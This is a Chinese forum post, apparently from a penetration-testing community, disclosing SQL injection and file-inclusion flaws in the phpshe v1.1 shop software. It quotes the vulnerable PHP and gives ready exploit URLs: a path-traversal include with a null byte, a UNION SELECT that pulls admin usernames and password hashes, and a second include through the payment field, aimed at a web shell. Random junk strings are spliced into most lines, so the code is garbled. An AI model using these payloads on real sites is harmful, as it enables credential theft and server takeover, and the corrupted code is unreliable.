中国网络渗透测试联盟

标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell [打印本页]

作者: admin    时间: 2013-4-16 16:45
标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell
/*******************************************************/
& G+ M2 q1 ~7 P" T/* Phpshe v1.1 Vulnerability
- B7 m0 s4 O/ Y: B' Y! u1 _/* ========================
' l; a1 ~! @; Y3 g, r$ _+ {: O/* By: : Kn1f3
/ G5 [4 O/ {+ Y* R% ~" A6 C% q/* E-Mail : 681796@qq.com& I5 q" Z( }1 [& [1 }/ \; r
/*******************************************************/
/ `  {$ D5 N0 _: O0×00 整体大概参数传输/ Y5 I. T. G% E  H$ N: U
1 u( b4 l+ }4 M- }( G
) p) \! q# @! ^

" H) O) f/ ]! e" {" L9 \//common.php( e+ [- b! @& g1 J
if (get_magic_quotes_gpc()) {6 k' X" D/ d5 t6 p$ @
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
4 Y( K# D% |; \3 D/ w6 d; p" A!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');! B  w; Z7 [: G( ]: ~, X$ ^& j
}
8 S; C: y8 e4 @% Telse {
  |3 j+ d0 [; n!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');4 E' t- r5 L6 x7 M' d$ y
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
! X. e+ ?+ s% S- X, |8 C, A}
1 G$ y" b9 z' m/ B/ xsession_start();, ?- _: n% X1 L0 w' w
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
% j4 M. U1 b5 o" d!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
0 Q) J5 a# m6 I* j! E6 b) D$ x* X9 W3 V- m
0×01 包含漏洞4 V  I- v& V- V( g" A$ P

: ?; k, x: C: Y! H  `

, _0 [, e' E2 @6 G2 V//首页文件- b) {; P, [. P' ]
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);8 ?8 [. Q3 C9 F- H$ L: `
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞1 W$ I7 ~5 ~0 j' {$ h: ?& u
pe_result();
% O, U9 f6 `% f) R?>
( T3 {6 Z# I5 y" F! \//common 文件 第15行开始
+ e, t& q  G0 u" @: burl路由配置7 R0 q" K2 M* D; B, K
$module = $mod = $act = 'index';9 E9 `- \0 n! h
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
; L5 b+ N# A' I2 O$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
1 ]* ?# F2 ~- w" T3 s8 t% Y$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
2 y1 Q' ~# ^: {& c: C//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
5 v0 |: d6 Z& y/ h% H6 E7 Y


& L+ g) Q( c- {; k   c5 i" ~6 v1 `2 J3 ^& A$ J- D
0×02 搜索注入
) A9 z7 t- ~9 x7 c+ O; _
* P& t& x8 i+ g8 A7 T<code id="code2">

//product.php文件  C9 C, o( }: ~4 `2 v9 [7 Y
case 'list':* _8 r- ^9 z& c
$category_id = intval($id);
( N7 G1 r7 s5 e6 e, l$info = $db->pe_select('category', array('category_id'=>$category_id));
5 D* X' B" i  _" V" x//搜索0 M( b% o* O; c) V9 V' }0 b
$sqlwhere = " and `product_state` = 1";
" W2 ^) T* r; w: Ype_lead('hook/category.hook.php');
6 q& @- x9 q( }! Lif ($category_id) {
# I+ u9 ?* b) L) m! v5 Vwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";$ ~  q, f. A8 U8 E6 [% p0 j
}6 ^' a5 E- i/ V: E& h
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
) o! q& V/ m% V6 ^) uif ($_g_orderby) {+ k* U0 Z6 U% e/ ]. Y5 f
$orderby = explode('_', $_g_orderby);( x1 C# [7 F9 `5 f- T% L
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
1 e4 u. t) U* L  Y* l% P}  D6 `! q# i# O" ?0 [# f
else {- u; ^0 e% S9 C$ e6 f6 C9 l
$sqlwhere .= " order by `product_id` desc";5 v4 n/ F$ h/ ~; w7 R8 l
}
! {( h$ m, X. A1 r$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));$ J' ], B" i) H5 ?! E
//热卖排行3 {1 S1 f* m& N1 {& |
$product_hotlist = product_hotlist();
- b# u6 p) e% D$ A* ~. }//当前路径; ]* X# j- Q" J6 z
$nowpath = category_path($category_id);' j, @2 x& }7 J
$seo = pe_seo($info['category_name']);
- m- q* ?# m" Yinclude(pe_tpl('product_list.html'));. A% p. d& C0 T# b7 g' c
//跟进selectall函数库
& [. k/ C( u# C* Wpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())1 ~. a+ z! \3 w; t
{
  T) l; y; E0 X) K; h//处理条件语句7 J% K7 o# `2 J4 k# d7 }$ v
$sqlwhere = $this->_dowhere($where);
' N( O1 i+ ~9 ?1 l9 Freturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);; p  \3 B3 Z7 z0 i
}& O& I" i. l0 g& i
//exp
4 L+ H! ^" [* D. F8 v) [8 Eproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='12 |$ D0 J- h2 X! f9 Z

</code>
, z- j2 `" S+ w, _/ \4 n
7 U" S; r% j# h  K: v4 O2 b0×03 包含漏洞22 U/ a: w5 y" K1 [7 r. c% V' _

' |# H# e! ~! q+ G; }<code id="code3">

//order.php

case 'pay':


( y! L; V" ~$ S8 W+ ?$order_id = pe_dbhold($_g_id);

) W3 `- B2 F7 m8 V) r* b. X
$cache_payway = cache::get('payway');


$ L/ {1 C* U/ P  Uforeach($cache_payway as $k => $v) {


7 X" j0 A2 F7 k$ F$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

: J8 s* e2 I" k, y, z- n$ S
if ($k == 'bank') {


2 y" `2 ^) w# o6 n$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


1 z+ F5 ^6 q3 \0 |- j}


+ Q/ P( i0 l/ [& _$ u& o- _6 O+ l}


% h0 u: S8 i8 x$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

% b9 [7 Q; r# u' p8 P% ~' M
!$order['order_id'] && pe_error('订单号错误...');


& z: l+ v, M% W+ C' A6 @if (isset($_p_pesubmit)) {


1 ?- D4 t' t  G& Mif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

6 B+ ]; D' z9 ~1 p) v
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


" L' o# x4 p, e& P: x: z) N6 [: sforeach ($info_list as $v) {


3 S8 k' o# o3 N$order['order_name'] .= "{$v['product_name']};";" |+ s  G  o, q2 ?: Z( r, E  U1 E


& e, m0 x4 I& Q" h, O}


: O6 k$ F; F$ g; ?/ r9 h& gecho '正在为您连接支付网站,请稍后...';


% ^) @3 z1 V- qinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


7 G7 K0 I/ }7 Q/ `/ s}//当一切准备好的时候就可以进行"鸡肋包含了"


' ?# q* G1 C" {+ T! [( H5 {else {


3 t/ h9 H( A0 I5 V/ Ype_error('支付错误...');

" @9 S! d- c! @( h+ j& G
}

9 K# D/ L2 i% Z0 d) _8 H" B
}


6 ~& {3 ~; V# E% T: t# @  b$ M$seo = pe_seo('选择支付方式');

+ B' w. @# ?' S- V; T
include(pe_tpl('order_pay.html'));


" q/ w/ W- P, [$ {# wbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code># Z2 h$ U9 ~. `6 W& D" K0 P
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2